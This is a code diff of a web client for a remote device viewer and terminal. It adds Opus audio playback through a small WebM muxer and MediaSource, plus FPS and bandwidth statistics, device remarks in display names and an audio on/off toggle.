// Set up vertical flip transform once (BMP is bottom-up)
ctx.setTransform(1, 0, 0, -1, 0, height);
if (decoder) { try { decoder.close(); } catch(e) {} }
frameCount = 0;
lastFrameTime = performance.now();
// Reset FPS sliding window on decoder (re)init so a resolution
// change or codec switch doesn't carry over stale counts.
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
// 记录当前分辨率供 renderStats 重组 frame-info 文案
currentWidth = width;
currentHeight = height;
decoder = new VideoDecoder({
output: (frame) => {
// Check if frame dimensions match canvas
@@ -1613,13 +1711,13 @@
}
ctx.drawImage(frame, 0, 0);
frame.close();
// 原始风格的 FPS 计数1 秒采样窗口
frameCount++;
const now = performance.now();
if (now - lastFrameTime >= 1000) {
fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
frameCount = 0;
lastFrameTime = now;
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
}
},
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
@@ -1649,16 +1747,296 @@
return videoBytes[0] === 0x00 ? 'avc' : 'av1';
}
// ============================================================
// Minimal WebM-Opus muxer: wraps each Opus packet in a one-block
// Cluster so it can be fed to a SourceBuffer of type
// 'audio/webm; codecs="opus"'. The init segment (EBML header +
// Segment header + Tracks with OpusHead) is built once when the
// format is known and appended before any media clusters.
// ============================================================
const WebMMuxer = (function () {
// Variable-length integer (EBML VINT). Marker bit selects byte count.
function vint(value) {
if (value < 0x7F) return [0x80 | value];
if (value < 0x3FFF) return [0x40 | (value >> 8), value & 0xFF];
if (value < 0x1FFFFF) return [0x20 | (value >> 16), (value >> 8) & 0xFF, value & 0xFF];
if (value < 0x0FFFFFFF) return [0x10 | (value >> 24), (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF];
// 8-byte VINT for larger values (we don't usually need this)
const out = [0x01];
for (let i = 6; i >= 0; i--) out.push(Math.floor(value / Math.pow(2, i * 8)) & 0xFF);
return out;
}
// Unsigned int big-endian, n bytes
function uintBE(value, n) {
const out = new Array(n);
for (let i = n - 1; i >= 0; i--) { out[i] = value & 0xFF; value = Math.floor(value / 256); }
return out;
}
// 64-bit float big-endian
function f64BE(value) {
const buf = new ArrayBuffer(8);
new DataView(buf).setFloat64(0, value, false);
return Array.from(new Uint8Array(buf));
}
// EBML element = ID + size(VINT) + payload
function elem(idBytes, payload) {
const sz = vint(payload.length);
const out = new Array(idBytes.length + sz.length + payload.length);
let i = 0;
for (const b of idBytes) out[i++] = b;
for (const b of sz) out[i++] = b;
for (const b of payload) out[i++] = b;
return out;
}
// OpusHead codec-private structure (19 bytes). Per WebM/Opus spec,
// the authoritative encoder delay is CodecDelay (in ns) in the
// TrackEntry; pre-skip here is left at 0 to avoid double-skipping.
function opusHead(sampleRate, channels) {
return [
0x4F, 0x70, 0x75, 0x73, 0x48, 0x65, 0x61, 0x64, // "OpusHead"
0x01, // version
channels & 0xFF, // channel count
0x00, 0x00, // pre-skip (use CodecDelay instead)
sampleRate & 0xFF, (sampleRate >> 8) & 0xFF,
(sampleRate >> 16) & 0xFF, (sampleRate >> 24) & 0xFF,
0x00, 0x00, // output gain (LE)
0x00 // channel mapping family
];
}
function buildInitSegment(sampleRate, channels) {
const ebml = elem([0x1A, 0x45, 0xDF, 0xA3], [].concat(
elem([0x42, 0x86], [0x01]), // EBMLVersion
elem([0x42, 0xF7], [0x01]), // EBMLReadVersion
elem([0x42, 0xF2], [0x04]), // EBMLMaxIDLength
elem([0x42, 0xF3], [0x08]), // EBMLMaxSizeLength
elem([0x42, 0x82], [0x77, 0x65, 0x62, 0x6D]), // DocType "webm"
elem([0x42, 0x87], [0x04]), // DocTypeVersion
elem([0x42, 0x85], [0x02]) // DocTypeReadVersion
));
const info = elem([0x15, 0x49, 0xA9, 0x66], [].concat(
elem([0x2A, 0xD7, 0xB1], uintBE(1000000, 3)), // TimecodeScale 1ms
elem([0x4D, 0x80], [0x59, 0x61, 0x6D, 0x61]), // MuxingApp "Yama"
elem([0x57, 0x41], [0x59, 0x61, 0x6D, 0x61]) // WritingApp "Yama"
));
const trackEntry = [].concat(
elem([0xD7], [0x01]), // TrackNumber 1
elem([0x73, 0xC5], uintBE(1, 1)), // TrackUID 1
elem([0x83], [0x02]), // TrackType 2 (audio)
elem([0xB9], [0x01]), // FlagEnabled
elem([0x88], [0x01]), // FlagDefault
elem([0x9C], [0x00]), // FlagLacing 0
elem([0x86], [0x41, 0x5F, 0x4F, 0x50, 0x55, 0x53]), // CodecID "A_OPUS"
elem([0x63, 0xA2], opusHead(sampleRate, channels)), // CodecPrivate
elem([0x56, 0xAA], uintBE(6500000, 3)), // CodecDelay 6.5ms (ns)
elem([0x56, 0xBB], uintBE(80000000, 4)), // SeekPreRoll 80ms (ns)
elem([0xE1], [].concat( // Audio
elem([0xB5], f64BE(sampleRate)), // SamplingFrequency
elem([0x9F], [channels & 0xFF]) // Channels
))
);
const tracks = elem([0x16, 0x54, 0xAE, 0x6B], elem([0xAE], trackEntry));
// Segment uses unknown-size signal so we can stream clusters indefinitely
const segmentOpen = [0x18, 0x53, 0x80, 0x67,
0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF];
return new Uint8Array([].concat(ebml, segmentOpen, info, tracks));
}
function buildCluster(opusBytes, absMs) {
const simpleBlock = elem([0xA3], [].concat(
[0x81, 0x00, 0x00, 0x80], // TrackNumber=1, ts=0, flags=keyframe
Array.from(opusBytes)
));
const cluster = elem([0x1F, 0x43, 0xB6, 0x75], [].concat(
elem([0xE7], uintBE(absMs, 4)), // Timestamp (absolute, ms)
simpleBlock
));
return new Uint8Array(cluster);
}
return { buildInitSegment, buildCluster };
})();
// Create the hidden <audio> + MediaSource pair INSIDE a user-gesture
// call stack. Must complete .play() synchronously before any await.
function _setupAudioElementAndMediaSource() {
_audioElement = document.createElement('audio');
_audioElement.autoplay = true;
_audioElement.volume = 1.0;
_audioElement.style.display = 'none';
document.body.appendChild(_audioElement);
_mediaSource = new MediaSource();
_mediaSource.addEventListener('sourceopen', _onSourceOpen);
_audioElement.src = URL.createObjectURL(_mediaSource);
_audioElement.play().then(
() => console.log('[MSE] audio.play() ok'),
e => console.error('[MSE] audio.play() rejected:', e && e.message)
);
}
function _onSourceOpen() {
console.log('[MSE] sourceopen, readyState=' + (_mediaSource && _mediaSource.readyState));
if (audioFormat && audioFormat.compression === 1) {
_addSourceBufferAndInit();
}
}
function _addSourceBufferAndInit() {
if (!_mediaSource || _mediaSource.readyState !== 'open' || _sourceBuffer) return;
const mime = 'audio/webm; codecs="opus"';
if (!window.MediaSource || !MediaSource.isTypeSupported(mime)) {
console.error('[MSE] ' + mime + ' not supported by this browser');
return;
}
try {
_sourceBuffer = _mediaSource.addSourceBuffer(mime);
} catch (e) {
console.error('[MSE] addSourceBuffer failed:', e && e.message);
return;
}
_sourceBuffer.addEventListener('updateend', () => {
_sourceBufferBusy = false;
_flushSourceBufferQueue();
});
_sourceBuffer.addEventListener('error', e => console.error('[MSE] sourceBuffer error', e));
// Init segment first
_enqueueAppend(WebMMuxer.buildInitSegment(audioFormat.sampleRate, audioFormat.channels));
_initSegmentSent = true;
_opusTimestampMs = 0;
// Flush packets that arrived before SourceBuffer was ready
while (_pendingOpusPackets.length > 0) {
const pkt = _pendingOpusPackets.shift();
_enqueueAppend(WebMMuxer.buildCluster(pkt, _opusTimestampMs));
_opusTimestampMs += OPUS_FRAME_MS;
}
console.log('[MSE] SourceBuffer ready, init segment + ' +
(_opusTimestampMs / OPUS_FRAME_MS) + ' queued packets appended');
}
function _enqueueAppend(data) {
_sourceBufferQueue.push(data);
_flushSourceBufferQueue();
}
function _flushSourceBufferQueue() {
if (!_sourceBuffer || _sourceBufferBusy) return;
if (_sourceBufferQueue.length === 0) return;
const next = _sourceBufferQueue.shift();
_sourceBufferBusy = true;
try {
_sourceBuffer.appendBuffer(next);
} catch (e) {
console.error('[MSE] appendBuffer threw:', e && e.message);
_sourceBufferBusy = false;
}
}
function pushOpusPacket(opusBytes) {
if (!audioFormat || audioFormat.compression !== 1) return;
if (_sourceBuffer && _initSegmentSent) {
_enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
_opusTimestampMs += OPUS_FRAME_MS;
} else {
// Stash until SourceBuffer is ready. Cap at ~3s of audio.
const maxQueued = Math.ceil(3000 / OPUS_FRAME_MS);
while (_pendingOpusPackets.length >= maxQueued) _pendingOpusPackets.shift();
_pendingOpusPackets.push(new Uint8Array(opusBytes));
}
}
// Remove the SourceBuffer (so a new format/codec can be set up) but
// KEEP the same MediaSource and <audio> element. They hold our
// gesture-acquired play() permission — recreating either would
// require a fresh user tap on iOS. Never call endOfStream(), that
// transitions MediaSource to 'ended' which forbids future
// addSourceBuffer().
function stopAllAudio() {
if (_sourceBuffer && _mediaSource && _mediaSource.readyState === 'open') {
try { _mediaSource.removeSourceBuffer(_sourceBuffer); } catch (e) {}
}
_sourceBuffer = null;
_sourceBufferQueue.length = 0;
_sourceBufferBusy = false;
_initSegmentSent = false;
_opusTimestampMs = 0;
_pendingOpusPackets.length = 0;
}
function handleAudioFrame(data) {
if (!audioEnabled) return;
const u8 = new Uint8Array(data);
if (u8.length < 1) return;
let offset = 0;
const hasFormat = u8[offset++];
if (hasFormat) {
if (u8.length < offset + 12) {
console.warn('[Audio] truncated format header');
return;
}
// AudioFormat (12 bytes, commands.h, pack(1))
const view = new DataView(data, offset, 12);
const channels = view.getUint16(0, true);
const sampleRate = view.getUint32(2, true);
const bitsPerSample = view.getUint16(6, true);
const blockAlign = view.getUint16(8, true);
const compression = view.getUint8(10);
offset += 12;
offset += 1; // padding byte
if (channels === 0 || channels > 8) { console.error('[Audio] bad channels:', channels); return; }
if (sampleRate < 8000 || sampleRate > 48000) { console.error('[Audio] bad sampleRate:', sampleRate); return; }
const fmt = { compression, channels, sampleRate, bitsPerSample, blockAlign };
const needReinit = !audioFormat ||
audioFormat.sampleRate !== fmt.sampleRate ||
audioFormat.channels !== fmt.channels ||
audioFormat.compression !== fmt.compression;
audioFormat = fmt;
if (needReinit) {
if (fmt.compression !== 1) {
console.error('[Audio] PCM payload not supported by web; set USING_OPUS=1 on client');
stopAllAudio();
return;
}
stopAllAudio();
if (_mediaSource && _mediaSource.readyState === 'open') {
_addSourceBufferAndInit();
}
// else: sourceopen handler will pick up audioFormat when it fires
console.log('[Audio] Format → ch=' + fmt.channels +
' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
}
}
if (!audioFormat || audioFormat.compression !== 1) return;
if (u8.length <= offset) return;
// The remaining bytes are one Opus packet (variable length).
const opusBytes = new Uint8Array(data, offset);
pushOpusPacket(opusBytes);
}
function handleBinaryFrame(data) {
// 全部进入的二进制都计入带宽统计:视频帧 + 音频帧 + 终端帧
bwBytesAccum += data.byteLength;
// 终端输出帧4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
// 视频帧首 4 字节是 deviceID (uint32 LE)撞这个具体值的概率极低4 字节 magic
// 比单字节前缀安全得多,无需额外的状态校验。
const u8 = new Uint8Array(data);
if (u8.length >= 4 &&
u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
if (termState && termState.term) termState.term.write(u8.subarray(4));
return;
}
// Audio frame: frameType byte at offset 4 indicates audio (96 = TOKEN_SCREEN_AUDIO)
// Full frame format: [deviceID:4][frameType:1][dataLen:4][hasFormat:1][AudioFormat?][audio_data...]
if (u8.length > 4 && u8[4] === 96) {
// Skip frame header (9 bytes) and pass audio payload to handler
const audioPayload = data.slice(9);
handleAudioFrame(audioPayload);
return;
}
// Video frame: [deviceID:4][frameType:1][dataLen:4][videoData...]
const view = new DataView(data);
const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4);
@@ -1721,6 +2099,7 @@
const q = searchQuery.toLowerCase();
filtered = filtered.filter(d =>
(d.name && d.name.toLowerCase().includes(q)) ||
(d.remark && d.remark.toLowerCase().includes(q)) ||
(d.ip && d.ip.toLowerCase().includes(q)) ||
(d.os && d.os.toLowerCase().includes(q)) ||
(d.location && d.location.toLowerCase().includes(q)) ||
@@ -1853,7 +2232,7 @@
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
'</svg>' +
'</button>' +
'<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' +
'<h3>' + escapeHtml(displayName(d)) + '</h3>' +
'<div class="info-row">' +
'<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
'<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
@@ -2120,9 +2499,18 @@
const compat = checkWebCodecs();
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
currentDevice = dev;
document.getElementById('device-name').textContent = currentDevice.name;
document.getElementById('device-name').textContent = displayName(currentDevice);
document.getElementById('frame-info').textContent = '';
// Reset throughput / resolution read-outs for the new session
currentWidth = 0; currentHeight = 0;
bwBytesAccum = 0; bwBytesPerSec = 0;
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
const fbs = document.getElementById('fb-stats');
if (fbs) fbs.textContent = '';
updateScreenStatus('connecting');
// Default the audio button to "on" optimistically; server will
// correct via connect_result.audio_enabled or audio_state event.
applyAudioState(true);
showPage('screen-page');
ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
}
@@ -2145,7 +2533,7 @@
termState.deviceId = String(id);
termState.ready = false;
document.getElementById('term-title').textContent = dev.name + ' Terminal';
document.getElementById('term-title').textContent = displayName(dev) + ' Terminal';
document.getElementById('term-status-info').textContent = 'Connecting...';
// 先 showPage 让 term-host 拿到真实尺寸xterm.open() 必须在容器有 size 时调用,
@@ -2470,6 +2858,39 @@
}
}
// Pretty-print bytes/sec with a compact 1-byte / 1K / 1M scale.
function formatBandwidth(bytesPerSec) {
if (bytesPerSec < 1024) return bytesPerSec + 'B/s';
if (bytesPerSec < 1024 * 1024) return Math.round(bytesPerSec / 1024) + 'K/s';
return (bytesPerSec / 1024 / 1024).toFixed(1) + 'M/s';
}
// 1-second ticker that pulls the FPS/bandwidth counters and refreshes
// the two read-outs: #frame-info (always visible above the canvas) and
// #fb-stats (a chip inside the floating toolbar, only visible while
// the toolbar is expanded — that's how the fullscreen mode shows
// throughput without cluttering the screen).
function renderStats() {
// FPS 已经在 decoder.onOutput 里就地更新renderStats 只负责
// 把最新的 fps、bandwidth 组装成显示串写到 DOM。
bwBytesPerSec = bwBytesAccum;
bwBytesAccum = 0;
const fi = document.getElementById('frame-info');
const fs = document.getElementById('fb-stats');
if (currentWidth > 0 && currentHeight > 0) {
const bw = formatBandwidth(bwBytesPerSec);
if (fi) fi.textContent = currentWidth + 'x' + currentHeight +
' @ ' + fps + ' fps · ' + bw;
if (fs) fs.textContent = bw;
} else {
if (fi) fi.textContent = '';
if (fs) fs.textContent = '';
}
}
setInterval(renderStats, 1000);
function isLandscape() {
return window.innerWidth > window.innerHeight;
}
@@ -2566,6 +2987,26 @@
}
}
// Reflect server-confirmed audio on/off on the toolbar icon. Server is
// authoritative — toggleAudio() does not flip state locally; it only
// sends the request and waits for the audio_state broadcast.
function applyAudioState(enabled) {
audioEnabled = !!enabled;
const btn = document.getElementById('btn-audio-bar');
if (btn) {
// 0x1F50A speaker / 0x1F507 muted speaker
btn.innerHTML = audioEnabled ? '&#x1F50A;' : '&#x1F507;';
btn.title = audioEnabled ? 'Mute audio' : 'Unmute audio';
btn.classList.toggle('muted', !audioEnabled);
}
}
function toggleAudio() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'audio_toggle', token }));
}
}
// Detect touch device (mobile/tablet)
const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
@@ -3440,6 +3881,10 @@
});
function disconnect() {
// Reset throughput / resolution read-outs
currentWidth = 0; currentHeight = 0;
bwBytesAccum = 0; bwBytesPerSec = 0;
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
// Reset control mode
controlEnabled = false;
// Reset keyboard state (blur event will update button state)
@@ -3488,6 +3933,14 @@
return div.innerHTML;
}
// 设备显示名:有备注则 "hostname (备注)",否则就是 hostname。
// 服务端备注从 m_ClientMap MAP_NOTE 取(参看 BuildDeviceListJson
function displayName(d) {
if (!d) return '';
const name = d.name || 'Unknown';
return d.remark ? (name + ' (' + d.remark + ')') : name;
}
function startPingInterval() {
if (pingInterval) clearInterval(pingInterval);
pingInterval = setInterval(() => {